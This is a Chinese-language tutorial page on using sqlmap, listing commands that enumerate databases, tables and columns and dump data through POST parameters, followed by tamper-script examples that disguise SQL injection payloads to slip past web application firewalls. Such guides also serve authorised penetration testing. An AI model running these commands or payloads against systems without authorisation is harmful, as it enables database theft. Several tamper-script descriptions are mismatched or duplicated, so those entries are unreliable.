sqlmap工具的使用 (超详细附工具版)_python sqlmap

简介: sqlmap工具的使用 (超详细附工具版)_python sqlmap
POST请求

方法一

  • 查询所有数据库;(注:需将post数据保存为指定文件,例如:C:\1.txt)

python sqlmap.py -r “保存文件路径” --dbs

  • 查询指定数据库中所有表;

python sqlmap.py -r “保存文件路径” -D “库名” --tables

  • 查询指定表中字段名;

python sqlmap.py -r “保存文件路径” -D “库名” -T “表名” --columns

  • 查询指定表中字段值;

python sqlmap.py -r “保存文件路径” -D “库名” -T “表名” -C “字段名” --dump

方法二

  • 查询所有数据库;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit --dbs

  • 查询指定数据库中所有表;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” --tables

  • 查询指定表中字段名;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” -T “表名” --columns

  • 查询指定表中字段值;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” -T “表名” -C “字段名” --dump

进阶使用

绕过waf

–identify-waf 检测是否有WAF

  • 使用方法

python sqlmap.py -u “http://x.x.x.x/” --dbs --tamper=xxx.py

大概脚本如下

apostrophemask.py脚本:将引号替换为utf-8,用于过滤单引号
1 AND '1'='1 替换为 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py脚本:替换为base64编码
1' AND SLEEP(5)# 替换为 MScgQU5EIFNMRUVQKDUpIw==

space2plus.py脚本:用加号替换空格
SELECT id FROM users 替换为 SELECT+id+FROM+users

nonrecursivereplacement.py脚本:作为双重查询语句,用双重语句替代预定义的sql关键字
1 UNION SELECT 2-- 替换为 1 UNIOUNIONN SELESELECTCT 2--

space2randomblank.py脚本:将空格替换为其他有效字符
SELECT id FROM users 替换为 SELECT%0Did%0DFROM%0Ausers

unionalltounion.py脚本:将union allselect 替换为unionselect
-1 UNION ALL SELECT 替换为 -1 UNION SELECT

securesphere.py脚本:追加特定的字符串
1 AND 1=1 替换为 1 AND 1=1 and '0having'='0having

multiplespaces.py脚本:围绕sql关键字添加多个空格
1 UNION SELECT foobar 替换为 1 UNION SELECT foobar

space2dash.py脚本:将空格替换为–,并添加一个随机字符串和换行符
1 AND 9227=9227 替换为 1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

space2mssqlblank.py脚本:将空格随机替换为其他空格符号(%01,%02,%03,%04,%05,%06,%07,%08,%09,%0B,%0C,%0D,%0E,%0F,%0A)
SELECT id FROM users 替换为 SELECT%0Eid%0DFROM%07users

between.py脚本:用NOT BETWEEN 0 AND 替换 >
1 AND A > B-- 替换为 1 AND A NOT BETWEEN 0 AND B--

percentage.py脚本:在每个字符前添加一个%
SELECT FIELD FROM TABLE 替换为 %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py脚本:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
1 AND 9227=9227-- 替换为 1 AND 9227=9227-- sp_password

randomcase.py脚本:随机大小写
INSERT 替换为 INseRt

charencode.py脚本:对给定的payload全部字符使用url编码 (不处理已经编码的字符)
SELECT FIELD FROM%20TABLE 替换为 %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

charunicodeencode.py脚本:用NOT BETWEEN 0 AND 替换 >
SELECT FIELD%20FROM TABLE 替换为 %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py脚本:将空格替换为 /**/
SELECT id FROM users 替换为 SELECT/**/id/**/FROM/**/users

equaltolike.py脚本:将 = 替换为 LIKE
SELECT * FROM users WHERE id=1 替换为 SELECT * FROM users WHERE id LIKE 1

randomcomments.py脚本:用 NOT BETWEEN 0 AND 替换 >
INSERT 替换为 I/**/N/**/SERT

equaltolike.py脚本:将 > 替换为 GREATEST,绕过对 > 的过滤
1 AND A > B 替换为 1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py脚本:绕过对 IFNULL 的过滤
IFNULL(1, 2) 替换为 IF(ISNULL(1),2,1)

modsecurityversioned.py脚本:过滤空格,使用mysql内联注释的方式进行注入
1 AND 2>1-- 替换为 1 /*!30874AND 2>1*/--


相关文章
|
5月前
|
存储 缓存 测试技术
理解Python装饰器:简化代码的强大工具
理解Python装饰器:简化代码的强大工具
|
6月前
|
程序员 测试技术 开发者
Python装饰器:简化代码的强大工具
Python装饰器:简化代码的强大工具
257 92
|
5月前
|
机器学习/深度学习 编解码 Python
Python图片上采样工具 - RealESRGANer
Real-ESRGAN基于深度学习实现图像超分辨率放大,有效改善传统PIL缩放的模糊问题。支持多种模型版本,推荐使用魔搭社区提供的预训练模型,适用于将小图高质量放大至大图,放大倍率越低效果越佳。
415 3
|
6月前
|
人工智能 自然语言处理 安全
Python构建MCP服务器:从工具封装到AI集成的全流程实践
MCP协议为AI提供标准化工具调用接口,助力模型高效操作现实世界。
1200 1
|
5月前
|
算法 安全 数据安全/隐私保护
Python随机数函数全解析:5个核心工具的实战指南
Python的random模块不仅包含基础的随机数生成函数,还提供了如randint()、choice()、shuffle()和sample()等实用工具,适用于游戏开发、密码学、统计模拟等多个领域。本文深入解析这些函数的用法、底层原理及最佳实践,帮助开发者高效利用随机数,提升代码质量与安全性。
989 0
|
6月前
|
API 数据安全/隐私保护 Python
拼多多批量上架软件, 电商一键上货发布工具,python电商框架分享
多线程批量上传架构,支持并发处理商品数据 完整的拼多多API签名和token管理机制
|
6月前
|
安全 API 数据安全/隐私保护
|
6月前
|
Java API 数据安全/隐私保护
淘宝一键上货发布软件,淘宝批量发布上架工具, 淘宝批量上架脚本【python】
这个Python脚本实现了以下功能: 完整的淘宝API调用封装
|
6月前
|
机器人 数据安全/隐私保护 Python
淘宝批量发货发布工具, 淘宝批量上传商品软件, 淘宝批量上架软件【python】
使用Selenium实现自动化操作淘宝卖家后台 支持三种核心功能
|
6月前
|
Linux 数据安全/隐私保护 Python
一键修改电脑机器码, 软件机器码一键修改工具, 机器码重置工具【python】
该工具实现了完整的机器码生成、加密、验证功能 使用系统硬件信息生成唯一机器码

推荐镜像

更多